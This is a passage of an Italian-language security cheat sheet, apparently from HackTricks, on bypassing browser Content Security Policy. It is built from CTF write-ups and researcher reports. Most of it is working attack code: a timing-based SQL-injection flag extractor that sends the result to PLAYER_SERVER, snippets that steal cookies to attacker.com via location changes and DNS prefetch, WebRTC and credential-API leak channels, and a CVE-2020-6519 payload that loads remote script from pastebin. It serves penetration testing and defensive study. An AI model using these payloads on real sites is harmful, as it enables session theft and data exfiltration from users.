|
||
Questa volta una **flag** verrà estratta, ogni volta che un **carattere viene indovinato correttamente** tramite SQLi la **risposta** richiede **più tempo** a causa della funzione di sleep. Poi, sarai in grado di estrarre la flag:
|
||
```html
|
||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||
<script>
|
||
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
|
||
function gen(x) {
|
||
x = escape(x.replace(/_/g, "\\_"))
|
||
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
|
||
}
|
||
|
||
function gen2(x) {
|
||
x = escape(x)
|
||
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
|
||
}
|
||
|
||
async function query(word, end = false) {
|
||
let h = performance.now()
|
||
f.location = end ? gen2(word) : gen(word)
|
||
await new Promise((r) => {
|
||
g.onload = r
|
||
})
|
||
let diff = performance.now() - h
|
||
return diff > 300
|
||
}
|
||
|
||
let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
|
||
let postfix = "}"
|
||
|
||
async function run() {
|
||
let prefix = "nn9ed{"
|
||
while (true) {
|
||
let i = 0
|
||
for (i; i < alphabet.length; i++) {
|
||
let c = alphabet[i]
|
||
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
|
||
console.log(prefix, c, t)
|
||
if (t) {
|
||
console.log("FOUND!")
|
||
prefix += c
|
||
break
|
||
}
|
||
}
|
||
if (i == alphabet.length) {
|
||
console.log("missing chars")
|
||
break
|
||
}
|
||
let t = await query(prefix + "}", true)
|
||
if (t) {
|
||
prefix += "}"
|
||
break
|
||
}
|
||
}
|
||
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
|
||
console.log(prefix)
|
||
}
|
||
|
||
run()
|
||
</script>
|
||
```
|
||
### Via Bookmarklets
|
||
|
||
Questo attacco implicherebbe un po' di ingegneria sociale in cui l'attaccante **convince l'utente a trascinare e rilasciare un link sopra il bookmarklet del browser**. Questo bookmarklet conterrebbe **codice javascript malevolo** che, quando trascinato e rilasciato o cliccato, verrebbe eseguito nel contesto della finestra web attuale, **bypassando CSP e permettendo di rubare informazioni sensibili** come cookie o token.
|
||
|
||
Per ulteriori informazioni [**controlla il rapporto originale qui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||
|
||
### Bypass CSP limitando CSP
|
||
|
||
In [**questo writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP viene bypassato iniettando all'interno di un iframe consentito un CSP più restrittivo che non consentiva di caricare un file JS specifico che, poi, tramite **prototype pollution** o **dom clobbering** permetteva di **abusare di un altro script per caricare uno script arbitrario**.
|
||
|
||
Puoi **limitare un CSP di un Iframe** con l'attributo **`csp`**:
|
||
```html
|
||
<iframe
|
||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||
```
|
||
In [**questo CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** **ristretta** ulteriormente una **CSP** così uno script che preveniva CSTI è stato disabilitato e quindi la **vulnerabilità è diventata sfruttabile.**\
|
||
La CSP può essere resa più restrittiva utilizzando **HTML meta tags** e gli script inline possono disabilitare **rimuovendo** l'**entry** che consente il loro **nonce** e **abilitare script inline specifici tramite sha**:
|
||
```html
|
||
<meta
|
||
http-equiv="Content-Security-Policy"
|
||
content="script-src 'self'
|
||
'unsafe-eval' 'strict-dynamic'
|
||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
|
||
```
|
||
### JS exfiltration with Content-Security-Policy-Report-Only
|
||
|
||
Se riesci a far sì che il server risponda con l'intestazione **`Content-Security-Policy-Report-Only`** con un **valore controllato da te** (forse a causa di un CRLF), potresti farlo puntare al tuo server e se **avvolgi** il **contenuto JS** che desideri esfiltrare con **`<script>`** e poiché è altamente probabile che `unsafe-inline` non sia consentito dal CSP, questo **attiverà un errore CSP** e parte dello script (contenente le informazioni sensibili) sarà inviata al server da `Content-Security-Policy-Report-Only`.
|
||
|
||
Per un esempio [**controlla questo CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||
|
||
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
||
```javascript
|
||
document.querySelector("DIV").innerHTML =
|
||
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
|
||
```
|
||
### Leaking Information with CSP and Iframe
|
||
|
||
- Un `iframe` viene creato che punta a un URL (chiamiamolo `https://example.redirect.com`) che è permesso da CSP.
|
||
- Questo URL reindirizza quindi a un URL segreto (ad esempio, `https://usersecret.example2.com`) che **non è consentito** da CSP.
|
||
- Ascoltando l'evento `securitypolicyviolation`, si può catturare la proprietà `blockedURI`. Questa proprietà rivela il dominio dell'URI bloccato, facendo trapelare il dominio segreto a cui l'URL iniziale ha reindirizzato.
|
||
|
||
È interessante notare che i browser come Chrome e Firefox hanno comportamenti diversi nella gestione degli iframe rispetto a CSP, portando a una potenziale fuga di informazioni sensibili a causa di comportamenti non definiti.
|
||
|
||
Un'altra tecnica coinvolge lo sfruttamento della CSP stessa per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'aggiustamento della CSP per includere domini specifici che sono deliberatamente bloccati. Ad esempio, se il sottodominio segreto è composto da caratteri sconosciuti, puoi testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o consentire questi sottodomini. Ecco un frammento che mostra come la CSP potrebbe essere configurata per facilitare questo metodo:
|
||
```markdown
|
||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||
```
|
||
Monitorando quali richieste sono bloccate o consentite dal CSP, si può restringere il campo dei possibili caratteri nel sottodominio segreto, scoprendo infine l'URL completo.
|
||
|
||
Entrambi i metodi sfruttano le sfumature dell'implementazione e del comportamento del CSP nei browser, dimostrando come politiche apparentemente sicure possano involontariamente leakare informazioni sensibili.
|
||
|
||
Trick da [**qui**](https://ctftime.org/writeup/29310).
|
||
|
||
## Tecnologie non sicure per bypassare il CSP
|
||
|
||
### Errori PHP quando ci sono troppi parametri
|
||
|
||
Secondo l'[**ultima tecnica commentata in questo video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), inviare troppi parametri (1001 parametri GET anche se puoi farlo anche con parametri POST e più di 20 file). Qualsiasi **`header()`** definito nel codice web PHP **non verrà inviato** a causa dell'errore che questo genererà.
|
||
|
||
### Sovraccarico del buffer di risposta PHP
|
||
|
||
PHP è noto per **bufferizzare la risposta fino a 4096** byte per impostazione predefinita. Pertanto, se PHP mostra un avviso, fornendo **dati sufficienti all'interno degli avvisi**, la **risposta** verrà **inviata** **prima** dell'**header CSP**, causando l'ignoranza dell'header.\
|
||
Quindi, la tecnica consiste fondamentalmente nel **riempire il buffer di risposta con avvisi** in modo che l'header CSP non venga inviato.
|
||
|
||
Idea da [**questo writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||
|
||
### Riscrivere la pagina di errore
|
||
|
||
Da [**questo writeup**](https://blog.ssrf.kr/69) sembra che fosse possibile bypassare una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendo il suo contenuto.
|
||
```javascript
|
||
a = window.open("/" + "x".repeat(4100))
|
||
setTimeout(function () {
|
||
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
|
||
}, 1000)
|
||
```
|
||
### SOME + 'self' + wordpress
|
||
|
||
SOME è una tecnica che sfrutta un XSS (o un XSS altamente limitato) **in un endpoint di una pagina** per **sfruttare** **altri endpoint della stessa origine.** Questo avviene caricando l'endpoint vulnerabile da una pagina dell'attaccante e poi aggiornando la pagina dell'attaccante all'endpoint reale nella stessa origine che si desidera sfruttare. In questo modo, l'**endpoint vulnerabile** può utilizzare l'oggetto **`opener`** nel **payload** per **accedere al DOM** dell'**endpoint reale da sfruttare**. Per ulteriori informazioni, controlla:
|
||
|
||
{{#ref}}
|
||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||
{{#endref}}
|
||
|
||
Inoltre, **wordpress** ha un endpoint **JSONP** in `/wp-json/wp/v2/users/1?_jsonp=data` che **riflette** i **dati** inviati nell'output (con la limitazione di solo lettere, numeri e punti).
|
||
|
||
Un attaccante può sfruttare quell'endpoint per **generare un attacco SOME** contro WordPress e **incorporarlo** all'interno di `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` nota che questo **script** sarà **caricato** perché è **consentito da 'self'**. Inoltre, e poiché WordPress è installato, un attaccante potrebbe sfruttare l'**attacco SOME** attraverso l'endpoint **callback vulnerabile** che **bypassa il CSP** per dare più privilegi a un utente, installare un nuovo plugin...\
|
||
Per ulteriori informazioni su come eseguire questo attacco, controlla [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||
|
||
## CSP Exfiltration Bypasses
|
||
|
||
Se c'è un CSP rigoroso che non ti consente di **interagire con server esterni**, ci sono alcune cose che puoi sempre fare per estrarre le informazioni.
|
||
|
||
### Location
|
||
|
||
Potresti semplicemente aggiornare la posizione per inviare al server dell'attaccante le informazioni segrete:
|
||
```javascript
|
||
var sessionid = document.cookie.split("=")[1] + "."
|
||
document.location = "https://attacker.com/?" + sessionid
|
||
```
|
||
### Meta tag
|
||
|
||
Puoi reindirizzare iniettando un meta tag (questo è solo un reindirizzamento, non farà trapelare contenuti)
|
||
```html
|
||
<meta http-equiv="refresh" content="1; http://attacker.com" />
|
||
```
|
||
### DNS Prefetch
|
||
|
||
Per caricare le pagine più velocemente, i browser pre-risolveranno i nomi host in indirizzi IP e li memorizzeranno per un uso successivo.\
|
||
Puoi indicare a un browser di pre-risolvere un nome host con: `<link rel="dns-prefetch" href="something.com">`
|
||
|
||
Potresti abusare di questo comportamento per **esfiltrare informazioni sensibili tramite richieste DNS**:
|
||
```javascript
|
||
var sessionid = document.cookie.split("=")[1] + "."
|
||
var body = document.getElementsByTagName("body")[0]
|
||
body.innerHTML =
|
||
body.innerHTML +
|
||
'<link rel="dns-prefetch" href="//' +
|
||
sessionid +
|
||
'attacker.ch">'
|
||
```
|
||
Un altro modo:
|
||
```javascript
|
||
const linkEl = document.createElement("link")
|
||
linkEl.rel = "prefetch"
|
||
linkEl.href = urlWithYourPreciousData
|
||
document.head.appendChild(linkEl)
|
||
```
|
||
Per evitare che ciò accada, il server può inviare l'intestazione HTTP:
|
||
```
|
||
X-DNS-Prefetch-Control: off
|
||
```
|
||
> [!NOTE]
|
||
> Apparentemente, questa tecnica non funziona nei browser headless (bot)
|
||
|
||
### WebRTC
|
||
|
||
Su diverse pagine puoi leggere che **WebRTC non controlla la politica `connect-src`** del CSP.
|
||
|
||
In realtà puoi _leak_ informazioni utilizzando una _richiesta DNS_. Dai un'occhiata a questo codice:
|
||
```javascript
|
||
;(async () => {
|
||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
||
p.createDataChannel("")
|
||
p.setLocalDescription(await p.createOffer())
|
||
})()
|
||
```
|
||
Un'altra opzione:
|
||
```javascript
|
||
var pc = new RTCPeerConnection({
|
||
"iceServers":[
|
||
{"urls":[
|
||
"turn:74.125.140.127:19305?transport=udp"
|
||
],"username":"_all_your_data_belongs_to_us",
|
||
"credential":"."
|
||
}]
|
||
});
|
||
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||
```
|
||
### CredentialsContainer
|
||
|
||
Il popup delle credenziali invia una richiesta DNS all'iconURL senza essere limitato dalla pagina. Funziona solo in un contesto sicuro (HTTPS) o su localhost.
|
||
```javascript
|
||
navigator.credentials.store(
|
||
new FederatedCredential({
|
||
id:"satoki",
|
||
name:"satoki",
|
||
provider:"https:"+your_data+"example.com",
|
||
iconURL:"https:"+your_data+"example.com"
|
||
})
|
||
)
|
||
```
|
||
## Controllare le politiche CSP online
|
||
|
||
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
|
||
|
||
## Creazione automatica di CSP
|
||
|
||
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
|
||
|
||
## Riferimenti
|
||
|
||
- [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
|
||
- [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
|
||
- [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
|
||
- [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
|
||
- [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
|
||
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
|
||
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
|
||
|
||
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|